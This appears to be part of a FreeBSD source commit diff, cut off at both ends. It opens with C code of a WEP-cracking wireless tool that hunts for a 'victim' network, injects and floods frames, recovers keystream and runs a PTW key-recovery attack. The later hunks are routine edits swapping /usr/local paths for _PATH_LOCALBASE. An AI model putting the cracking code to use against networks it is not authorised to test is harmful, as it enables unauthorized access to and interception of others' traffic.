(!prgainfo.prga) break; if (taptx_len) { send_frame(tx, taptx, taptx_len); taptx_len = 0; break; } // try to find rtr mac addr if (netip && !rtrmac) { char* ptr; strcpy(arp_ip, netip); if (!netip_arg) { ptr = strchr(arp_ip, '.'); assert(ptr); ptr = strchr(++ptr, '.'); assert(ptr); ptr = strchr(++ptr, '.'); assert(ptr); strcpy(++ptr, "1"); } if (gettimeofday(&arpsend, NULL) == -1) err(1, "gettimeofday()"); time_print("Sending arp request for: %s\n", arp_ip); send_arp(tx, ARPOP_REQUEST, myip, mymac, arp_ip, "\x00\x00\x00\x00\x00\x00"); // XXX lame rtrmac = (unsigned char*)1; break; } // need to generate traffic... if (rtrmac > (unsigned char*)1 && netip) { if (floodip) flood_inet(tx); else { // XXX lame technique... anyway... im // only interested in flood_inet... // could ping broadcast.... send_arp(tx, ARPOP_REQUEST, myip, mymac, arp_ip, "\x00\x00\x00\x00\x00\x00"); } break; } break; } } void save_key(unsigned char *key, int len) { char tmp[16]; char k[64]; int fd; int rd; assert(len*3 < sizeof(k)); k[0] = 0; while (len--) { sprintf(tmp, "%.2X", *key++); strcat(k, tmp); if (len) strcat(k, ":"); } fd = open(KEY_FILE, O_WRONLY | O_CREAT, 0644); if (fd == -1) err(1, "open()"); printf("\nKey: %s\n", k); rd = write(fd, k, strlen(k)); if (rd == -1) err(1, "write()"); if (rd != strlen(k)) errx(1, "write %d/%d\n", rd, strlen(k)); close(fd); } #define KEYLIMIT (1000000) int do_crack(void) { unsigned char key[PTW_KEYHSBYTES]; if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) { save_key(key, 13); return 1; } if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) { save_key(key, 5); return 1; } return 0; } void try_crack() { if (crack_pid) { printf("\n"); time_print("Warning... previous crack still running!\n"); kill_crack(); } if (weplog.fd) { if (fsync(weplog.fd) == -1) err(1, "fsync"); } crack_pid = fork(); if (crack_pid == -1) err(1, "fork"); // child if (crack_pid == 0) { if (!do_crack()) printf("\nCrack unsuccessful\n"); exit(1); } // parent printf("\n"); time_print("Starting crack PID=%d\n", crack_pid); if (gettimeofday(&crack_start, NULL) == -1) err(1, "gettimeofday"); wep_thresh += thresh_incr; } void open_tap() { struct stat st; int s; struct ifreq ifr; unsigned int flags; tapfd = open(TAP_DEV, O_RDWR); if (tapfd == -1) { printf("Can't open tap: %s\n", strerror(errno)); exit(1); } if(fstat(tapfd, &st) == -1) { perror("fstat()"); exit(1); } // feer strcpy(tapdev, devname(st.st_rdev, S_IFCHR)); s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { perror("socket()"); exit(1); } // MTU memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, tapdev); ifr.ifr_mtu = 1500; if (ioctl(s, SIOCSIFMTU, &ifr) == -1) { perror("ioctl(SIOCSIFMTU)"); exit(1); } // set iface up memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, tapdev); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { perror("ioctl(SIOCGIFFLAGS)"); exit(1); } flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); flags |= IFF_UP; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, tapdev); ifr.ifr_flags = flags & 0xffff; ifr.ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { perror("ioctl(SIOCSIFFLAGS)"); exit(1); } close(s); time_print("Opened tap device: %s\n", tapdev); } void read_tap() { unsigned char buf[4096]; struct ether_header* eh; struct ieee80211_frame* wh; int rd; unsigned char* ptr, *body; int dlen; rd = read(tapfd, buf, sizeof(buf)); if (rd == -1) { perror("read()"); exit(1); } dlen = rd - sizeof(*eh); assert(dlen > 0); if (dlen+8 > prgainfo.len) { printf("\n"); // XXX lame message... time_print("Sorry... want to send %d but only got %d prga\n", dlen, prgainfo.len); return; } if (taptx_len) { printf("\n"); time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n"); // XXX could not read instead and get rid of it in select... } assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8)); eh = (struct ether_header*) buf; wh = (struct ieee80211_frame*) taptx; memset(wh, 0, sizeof(*wh)); fill_basic(wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS; memcpy(wh->i_addr2, eh->ether_shost, 6); memcpy(wh->i_addr3, eh->ether_dhost, 6); body = (unsigned char*) wh + sizeof(*wh); ptr = body; ptr += 4; // iv do_llc(ptr, ntohs(eh->ether_type)); ptr += 8; memcpy(ptr, &buf[sizeof(*eh)], dlen); wepify(body, 8+dlen); taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4; assert (taptx_len < sizeof(taptx)); } int elapsedd(struct timeval *past, struct timeval *now) { int el; el = now->tv_sec - past->tv_sec; assert(el >= 0); if (el == 0) { el = now->tv_usec - past->tv_usec; } else { el = (el - 1)*1000*1000; el += 1000*1000-past->tv_usec; el += now->tv_usec; } return el; } static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen) { #define BIT(n) (1<<(n)) struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; uint32_t present; uint8_t rflags; void *ptr; static int nocrc = 0; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ present = le32toh(rth->it_present); if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) { if (present & BIT(IEEE80211_RADIOTAP_TSFT)) rflags = ((const uint8_t *)rth)[8]; else rflags = ((const uint8_t *)rth)[0]; } else rflags = 0; *plen -= rth->it_len; assert(*plen > 0); /* 802.11 CRC */ if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; nocrc = 1; } ptr = (char*)rth + rth->it_len; return ptr; #undef BIT } static int read_packet(int fd, unsigned char *dst, int len) { static unsigned char buf[4096]; static int totlen = 0; static unsigned char *next = buf; unsigned char *pkt; int plen; assert(len > 0); /* need to read more */ if (totlen == 0) { totlen = read(fd, buf, sizeof(buf)); if (totlen == -1) { totlen = 0; return -1; } next = buf; } /* read 802.11 packet */ pkt = get_80211(&next, &totlen, &plen); if (plen > len) plen = len; assert(plen > 0); memcpy(dst, pkt, plen); return plen; } void own(int wifd) { unsigned char buf[4096]; int rd; fd_set rfd; struct timeval tv; char *pbar = "/-\\|"; char *pbarp = &pbar[0]; struct timeval lasthop; struct timeval now; unsigned int last_wep_count = 0; struct timeval last_wcount; struct timeval last_status; int fd; int largest; weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND); if (weplog.fd == -1) { struct pcap_file_header pfh; memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (weplog.fd != -1) { if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); } } else { time_print("WARNING: Appending in %s\n", WEP_FILE); } if (weplog.fd == -1) { perror("open()"); exit(1); } fd = open(PRGA_FILE, O_RDONLY); if (fd != -1) { time_print("WARNING: reading prga from %s\n", PRGA_FILE); rd = read(fd, buf, sizeof(buf)); if (rd == -1) { perror("read()"); exit(1); } if (rd >= 8) { set_prga(buf, NULL, &buf[3], rd - 3); } close(fd); } fd = open(DICT_PATH, O_RDONLY); if (fd == -1) { time_print("Creating dictionary directory (%s)\n", DICT_PATH); if (mkdir (DICT_PATH, 0755) == -1) { perror("mkdir()"); exit(1); } } else close(fd); open_tap(); set_if_mac(mymac, tapdev); time_print("Set tap MAC to: %s\n", mac2str(mymac)); if (tapfd > wifd) largest = tapfd; else largest = wifd; if (signal(SIGINT, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } if (signal (SIGTERM, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } time_print("Looking for a victim...\n"); if (gettimeofday(&lasthop, NULL) == -1) { perror("gettimeofday()"); exit(1); } memcpy(&last_wcount, &lasthop, sizeof(last_wcount)); memcpy(&last_status, &lasthop, sizeof(last_status)); while (1) { if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } /* check for relay timeout */ if (fragstate.waiting_relay) { int el; el = now.tv_sec - fragstate.last.tv_sec; assert (el >= 0); if (el == 0) { el = now.tv_usec - fragstate.last.tv_usec; } else { el--; el *= 1000*1000; el += 1000*1000 - fragstate.last.tv_usec; el += now.tv_usec; if (el > (1500*1000)) { // printf("\nLAMER timeout\n\n"); free(fragstate.data); fragstate.data = 0; } } } /* check for arp timeout */ if (rtrmac == (unsigned char*) 1) { int el; el = elapsedd(&arpsend, &now); if (el >= (1500*1000)) { rtrmac = 0; } } // status bar if ( (now.tv_sec > last_status.tv_sec ) || ( now.tv_usec - last_status.tv_usec > 100*1000)) { if (crack_pid && (now.tv_sec > last_status.tv_sec)) { check_key(); } if (netip && prgainfo.len >= min_prga && rtrmac > (unsigned char*) 1) { time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r", weplog.packets, wep_thresh, weplog.iv[0], weplog.iv[1], weplog.iv[2], weplog.rate); fflush(stdout); } else { if (state == FIND_VICTIM) time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp); else if (decryptstate.cipher) { int pos = decryptstate.prgainfo.len - 1; unsigned char prga = decryptstate.prgainfo.prga[pos]; assert(pos); time_print("Guessing PRGA %.2x (IP byte=%d) \r", prga, decryptstate.cipher[pos] ^ prga); } else time_print("%c\r", *pbarp); fflush(stdout); } memcpy(&last_status, &now,sizeof(last_status)); } // check if we are cracking if (crack_pid) { if (now.tv_sec - crack_start.tv_sec >= crack_dur) kill_crack(); } // check TX / retransmit if (txstate.waiting_ack) { unsigned int elapsed = now.tv_sec - txstate.tsent.tv_sec; elapsed *= 1000*1000; elapsed += (now.tv_usec - txstate.tsent.tv_usec); if (elapsed >= ack_timeout) send_frame(wifd, NULL, -1); } // INPUT // select FD_ZERO(&rfd); FD_SET(wifd, &rfd); FD_SET(tapfd, &rfd); tv.tv_sec = 0; tv.tv_usec = 1000*10; rd = select(largest+1, &rfd, NULL, NULL, &tv); if (rd == -1) { perror("select()"); exit(1); } // read if (rd != 0) { // wifi if (FD_ISSET(wifd, &rfd)) { rd = read_packet(wifd, buf, sizeof(buf)); if (rd == 0) return; if (rd == -1) { perror("read()"); exit(1); } pbarp++; if(!(*pbarp)) pbarp = &pbar[0]; // input anal(buf, rd, wifd); } // tap if (FD_ISSET(tapfd, &rfd)) { read_tap(); } } // check state and what we do next. if (state == FIND_VICTIM) { if (now.tv_sec > lasthop.tv_sec || ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) { int chan = chaninfo.chan; chan++; if(chan > max_chan) chan = 1; set_chan(chan); memcpy(&lasthop, &now, sizeof(lasthop)); } } else { // check if we need to write something... if (!txstate.waiting_ack) can_write(wifd); // roughly! #ifdef MORE_ACCURATE if ( (now.tv_sec - last_wcount.tv_sec) >= 2) { unsigned int elapsed; int secs; int packetz = weplog.packets - last_wep_count; elapsed = 1000*1000; elapsed -= last_wcount.tv_usec; assert(elapsed >= 0); elapsed += now.tv_usec; secs = now.tv_sec - last_wcount.tv_sec; secs--; if (secs > 0) elapsed += (secs*1000*1000); weplog.rate = (int) ((double)packetz/(elapsed/1000.0/1000.0)); #else if ( now.tv_sec > last_wcount.tv_sec) { weplog.rate = weplog.packets - last_wep_count; #endif last_wep_count = weplog.packets; memcpy(&last_wcount, &now, sizeof(now)); if (wep_thresh != -1 && weplog.packets > wep_thresh) try_crack(); } } } } void start(char *dev) { int fd; setup_if(dev); fd = open_bpf(dev, DLT_IEEE802_11_RADIO); ptw = PTW_newattackstate(); if (!ptw) err(1, "PTW_newattackstate()"); own(fd); #if 0 { int i; struct timeval tv; set_chan(11); for (i = 0; i < 10; i++) { gettimeofday(&tv, NULL); send_ack(tx); // usleep(500); printf("%lu\n", tv.tv_usec); } } #endif close(fd); } void usage(char* pname) { printf("Usage: %s \n", pname); printf("-h\t\tthis lame message\n"); printf("-i\t\t\n"); printf("-s\t\t\n"); printf("-m\t\t\n"); printf("-n\t\t\n"); printf("-r\t\t\n"); printf("-a\t\t\n"); printf("-c\t\tdo not crack\n"); printf("-p\t\t\n"); printf("-4\t\t64 bit key\n"); printf("-v\t\tvictim mac\n"); printf("-t\t\t\n"); printf("-f\t\t\n"); exit(0); } void str2mac(unsigned char* dst, unsigned char* mac) { unsigned int macf[6]; int i; if( sscanf(mac, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) { printf("can't parse mac %s\n", mac); exit(1); } for (i = 0; i < 6; i++) *dst++ = (unsigned char) macf[i]; } int main(int argc, char *argv[]) { unsigned char* dev = "ath0"; unsigned char rtr[6]; unsigned char vic[6]; int ch; if (gettimeofday(&real_start, NULL) == -1) { perror("gettimeofday()"); exit(1); } chaninfo.s = -1; victim.ssid = 0; prgainfo.len = 0; memset(&txstate, 0, sizeof(txstate)); memset(&fragstate, 0, sizeof(fragstate)); memset(&decryptstate, 0, sizeof(decryptstate)); memset(&weplog, 0, sizeof(weplog)); state = FIND_VICTIM; while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) { switch (ch) { case 'a': str2mac(mymac, optarg); break; case 's': floodip = optarg; break; case 'i': dev = optarg; break; case 'm': strncpy(myip, optarg, sizeof(myip)-1); myip[sizeof(myip)-1] = 0; break; case 'n': netip = optarg; netip_arg = 1; break; case 'r': str2mac(rtr, optarg); rtrmac = rtr; break; case 'v': str2mac(vic, optarg); victim_mac = vic; break; case 'c': wep_thresh = -1; break; case 'p': min_prga = atoi(optarg); break; case 't': thresh_incr = wep_thresh = atoi(optarg); break; case 'f': max_chan = atoi(optarg); break; case '4': bits = 64; break; default: usage(argv[0]); break; } } start(dev); if(chaninfo.s != -1) close(chaninfo.s); if(victim.ssid) free(victim.ssid); exit(0); } Index: head/usr.bin/fortune/fortune/pathnames.h =================================================================== --- head/usr.bin/fortune/fortune/pathnames.h (revision 367074) +++ head/usr.bin/fortune/fortune/pathnames.h (revision 367075) @@ -1,34 +1,36 @@ /*- * Copyright (c) 1991, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)pathnames.h 8.1 (Berkeley) 5/31/93 * $FreeBSD$ */ +#include + #define FORTDIR "/usr/share/games/fortune:" \ - "/usr/local/share/games/fortune" + _PATH_LOCALBASE "/share/games/fortune" Index: head/usr.bin/mail/pathnames.h =================================================================== --- head/usr.bin/mail/pathnames.h (revision 367074) +++ head/usr.bin/mail/pathnames.h (revision 367075) @@ -1,40 +1,42 @@ /*- * SPDX-License-Identifier: BSD-3-Clause * * Copyright (c) 1989, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)pathnames.h 8.1 (Berkeley) 6/6/93 * * $FreeBSD$ */ +#include + #define _PATH_EX "/usr/bin/ex" #define _PATH_HELP "/usr/share/misc/mail.help" #define _PATH_TILDE "/usr/share/misc/mail.tildehelp" -#define _PATH_MASTER_RC "/usr/share/misc/mail.rc:/usr/local/etc/mail.rc:/etc/mail.rc" +#define _PATH_MASTER_RC "/usr/share/misc/mail.rc:" _PATH_LOCALBASE "/etc/mail.rc:/etc/mail.rc" #define _PATH_LESS "/usr/bin/less" Index: head/usr.sbin/bsnmpd/tools/libbsnmptools/bsnmpimport.c =================================================================== --- head/usr.sbin/bsnmpd/tools/libbsnmptools/bsnmpimport.c (revision 367074) +++ head/usr.sbin/bsnmpd/tools/libbsnmptools/bsnmpimport.c (revision 367075) @@ -1,968 +1,969 @@ /*- * Copyright (c) 2006 The FreeBSD Project * All rights reserved. * * Author: Shteryana Shopova * * Redistribution of this software and documentation and use in source and * binary forms, with or without modification, are permitted provided that * the following conditions are met: * * 1. Redistributions of source code or documentation must retain the above * copyright notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $FreeBSD$ */ /* * Read file containing table description - reuse magic from gensnmptree.c. * Hopefully one day most of the code here will be part of libbsnmp and * this duplication won't be necessary. * * Syntax is: * --------- * file := top | top file * * top := tree | typedef | include * * tree := head elements ')' * * entry := head ':' index STRING elements ')' * * leaf := head type STRING ACCESS ')' * * column := head type ACCESS ')' * * type := BASETYPE | BASETYPE '|' subtype | enum | bits * * subtype := STRING * * enum := ENUM '(' value ')' * * bits := BITS '(' value ')' * * value := INT STRING | INT STRING value * * head := '(' INT STRING * * elements := EMPTY | elements element * * element := tree | leaf | column * * index := type | index type * * typedef := 'typedef' STRING type * * include := 'include' filespec * * filespec := '"' STRING '"' | '<' STRING '>' */ #include #include #include #include #include #include #include +#include #include #include #include #include #include #include #include #include /* SNMP_INDEXES_MAX */ #include "bsnmptc.h" #include "bsnmptools.h" enum snmp_tbl_entry { ENTRY_NONE = 0, ENTRY_INDEX, ENTRY_DATA }; enum { FL_GET = 0x01, FL_SET = 0x02, }; /************************************************************ * * Allocate memory and panic just in the case... */ static void * xalloc(size_t size) { void *ptr; if ((ptr = malloc(size)) == NULL) err(1, "allocing %zu bytes", size); return (ptr); } static char * savestr(const char *s) { if (s == NULL) return (NULL); return (strcpy(xalloc(strlen(s) + 1), s)); } /************************************************************ * * Input stack */ struct input { FILE *fp; uint32_t lno; char *fname; char *path; LIST_ENTRY(input) link; }; static LIST_HEAD(, input) inputs = LIST_HEAD_INITIALIZER(inputs); static struct input *input = NULL; static int32_t pbchar = -1; #define MAX_PATHS 100 static const char *paths[MAX_PATHS + 1] = { "/usr/share/snmp/defs", - "/usr/local/share/snmp/defs", + _PATH_LOCALBASE "/share/snmp/defs", NULL }; static void input_new(FILE *fp, const char *path, const char *fname) { struct input *ip; ip = xalloc(sizeof(*ip)); ip->fp = fp; ip->lno = 1; ip->fname = savestr(fname); ip->path = savestr(path); LIST_INSERT_HEAD(&inputs, ip, link); input = ip; } static void input_close(void) { if (input == NULL) return; fclose(input->fp); free(input->fname); free(input->path); LIST_REMOVE(input, link); free(input); input = LIST_FIRST(&inputs); } static FILE * tryopen(const char *path, const char *fname) { char *fn; FILE *fp; if (path == NULL) fn = savestr(fname); else { fn = xalloc(strlen(path) + strlen(fname) + 2); sprintf(fn, "%s/%s", path, fname); } fp = fopen(fn, "r"); free(fn); return (fp); } static int32_t input_fopen(const char *fname) { FILE *fp; u_int p; if (fname[0] == '/' || fname[0] == '.' || fname[0] == '~') { if ((fp = tryopen(NULL, fname)) != NULL) { input_new(fp, NULL, fname); return (0); } } else { for (p = 0; paths[p] != NULL; p++) if ((fp = tryopen(paths[p], fname)) != NULL) { input_new(fp, paths[p], fname); return (0); } } warnx("cannot open '%s'", fname); return (-1); } static int32_t tgetc(void) { int c; if (pbchar != -1) { c = pbchar; pbchar = -1; return (c); } for (;;) { if (input == NULL) return (EOF); if ((c = getc(input->fp)) != EOF) return (c); input_close(); } } static int32_t tungetc(int c) { if (pbchar != -1) return (-1); pbchar = c; return (1); } /************************************************************ * * Parsing input */ enum tok { TOK_EOF = 0200, /* end-of-file seen */ TOK_NUM, /* number */ TOK_STR, /* string */ TOK_ACCESS, /* access operator */ TOK_TYPE, /* type operator */ TOK_ENUM, /* enum token (kind of a type) */ TOK_TYPEDEF, /* typedef directive */ TOK_DEFTYPE, /* defined type */ TOK_INCLUDE, /* include directive */ TOK_FILENAME, /* filename ("foo.bar" or ) */ TOK_BITS, /* bits token (kind of a type) */ TOK_ERR /* unexpected char - exit */ }; static const struct { const char *str; enum tok tok; uint32_t val; } keywords[] = { { "GET", TOK_ACCESS, FL_GET }, { "SET", TOK_ACCESS, FL_SET }, { "NULL", TOK_TYPE, SNMP_SYNTAX_NULL }, { "INTEGER", TOK_TYPE, SNMP_SYNTAX_INTEGER }, { "INTEGER32", TOK_TYPE, SNMP_SYNTAX_INTEGER }, { "UNSIGNED32", TOK_TYPE, SNMP_SYNTAX_GAUGE }, { "OCTETSTRING", TOK_TYPE, SNMP_SYNTAX_OCTETSTRING }, { "IPADDRESS", TOK_TYPE, SNMP_SYNTAX_IPADDRESS }, { "OID", TOK_TYPE, SNMP_SYNTAX_OID }, { "TIMETICKS", TOK_TYPE, SNMP_SYNTAX_TIMETICKS }, { "COUNTER", TOK_TYPE, SNMP_SYNTAX_COUNTER }, { "GAUGE", TOK_TYPE, SNMP_SYNTAX_GAUGE }, { "COUNTER64", TOK_TYPE, SNMP_SYNTAX_COUNTER64 }, { "ENUM", TOK_ENUM, SNMP_SYNTAX_INTEGER }, { "BITS", TOK_BITS, SNMP_SYNTAX_OCTETSTRING }, { "typedef", TOK_TYPEDEF, 0 }, { "include", TOK_INCLUDE, 0 }, { NULL, 0, 0 } }; static struct { /* Current OID type, regarding table membership. */ enum snmp_tbl_entry tbl_type; /* A pointer to a structure in table list to add to its members. */ struct snmp_index_entry *table_idx; } table_data; static struct asn_oid current_oid; static char nexttok[MAXSTR]; static u_long val; /* integer values */ static int32_t all_cond; /* all conditions are true */ static int32_t saved_token = -1; /* Prepare the global data before parsing a new file. */ static void snmp_import_init(struct asn_oid *append) { memset(&table_data, 0, sizeof(table_data)); memset(¤t_oid, 0, sizeof(struct asn_oid)); memset(nexttok, 0, MAXSTR); if (append != NULL) asn_append_oid(¤t_oid, append); all_cond = 0; val = 0; saved_token = -1; } static int32_t gettoken(struct snmp_toolinfo *snmptoolctx) { int c; struct enum_type *t; if (saved_token != -1) { c = saved_token; saved_token = -1; return (c); } again: /* * Skip any whitespace before the next token. */ while ((c = tgetc()) != EOF) { if (c == '\n') input->lno++; if (!isspace(c)) break; } if (c == EOF) return (TOK_EOF); if (!isascii(c)) { warnx("unexpected character %#2x", (u_int) c); return (TOK_ERR); } /* * Skip comments. */ if (c == '#') { while ((c = tgetc()) != EOF) { if (c == '\n') { input->lno++; goto again; } } warnx("unexpected EOF in comment"); return (TOK_ERR); } /* * Single character tokens. */ if (strchr("():|", c) != NULL) return (c); if (c == '"' || c == '<') { int32_t end = c; size_t n = 0; val = 1; if (c == '<') { val = 0; end = '>'; } while ((c = tgetc()) != EOF) { if (c == end) break; if (n == sizeof(nexttok) - 1) { nexttok[n++] = '\0'; warnx("filename too long '%s...'", nexttok); return (TOK_ERR); } nexttok[n++] = c; } nexttok[n++] = '\0'; return (TOK_FILENAME); } /* * Sort out numbers. */ if (isdigit(c)) { size_t n = 0; nexttok[n++] = c; while ((c = tgetc()) != EOF) { if (!isdigit(c)) { if (tungetc(c) < 0) return (TOK_ERR); break; } if (n == sizeof(nexttok) - 1) { nexttok[n++] = '\0'; warnx("number too long '%s...'", nexttok); return (TOK_ERR); } nexttok[n++] = c; } nexttok[n++] = '\0'; sscanf(nexttok, "%lu", &val); return (TOK_NUM); } /* * So that has to be a string. */ if (isalpha(c) || c == '_' || c == '-') { size_t n = 0; nexttok[n++] = c; while ((c = tgetc()) != EOF) { if (!isalnum(c) && c != '_' && c != '-') { if (tungetc (c) < 0) return (TOK_ERR); break; } if (n == sizeof(nexttok) - 1) { nexttok[n++] = '\0'; warnx("string too long '%s...'", nexttok); return (TOK_ERR); } nexttok[n++] = c; } nexttok[n++] = '\0'; /* * Keywords. */ for (c = 0; keywords[c].str != NULL; c++) if (strcmp(keywords[c].str, nexttok) == 0) { val = keywords[c].val; return (keywords[c].tok); } if ((t = snmp_enumtc_lookup(snmptoolctx, nexttok)) != NULL) { val = t->syntax; return (TOK_DEFTYPE); } return (TOK_STR); } if (isprint(c)) warnx("%u: unexpected character '%c'", input->lno, c); else warnx("%u: unexpected character 0x%02x", input->lno, (u_int) c); return (TOK_ERR); } /* * Update table information. */ static struct snmp_index_entry * snmp_import_update_table(enum snmp_tbl_entry te, struct snmp_index_entry *tbl) { switch (te) { case ENTRY_NONE: if (table_data.tbl_type == ENTRY_NONE) return (NULL); if (table_data.tbl_type == ENTRY_INDEX) table_data.table_idx = NULL; table_data.tbl_type--; return (NULL); case ENTRY_INDEX: if (tbl == NULL) warnx("No table_index to add!!!"); table_data.table_idx = tbl; table_data.tbl_type = ENTRY_INDEX; return (tbl); case ENTRY_DATA: if (table_data.tbl_type == ENTRY_INDEX) { table_data.tbl_type = ENTRY_DATA; return (table_data.table_idx); } return (NULL); default: /* NOTREACHED */ warnx("Unknown table entry type!!!"); break; } return (NULL); } static int32_t parse_enum(struct snmp_toolinfo *snmptoolctx, int32_t *tok, struct enum_pairs *enums) { while ((*tok = gettoken(snmptoolctx)) == TOK_STR) { if (enum_pair_insert(enums, val, nexttok) < 0) return (-1); if ((*tok = gettoken(snmptoolctx)) != TOK_NUM) break; } if (*tok != ')') { warnx("')' at end of enums"); return (-1); } return (1); } static int32_t parse_subtype(struct snmp_toolinfo *snmptoolctx, int32_t *tok, enum snmp_tc *tc) { if ((*tok = gettoken(snmptoolctx)) != TOK_STR) { warnx("subtype expected after '|'"); return (-1); } *tc = 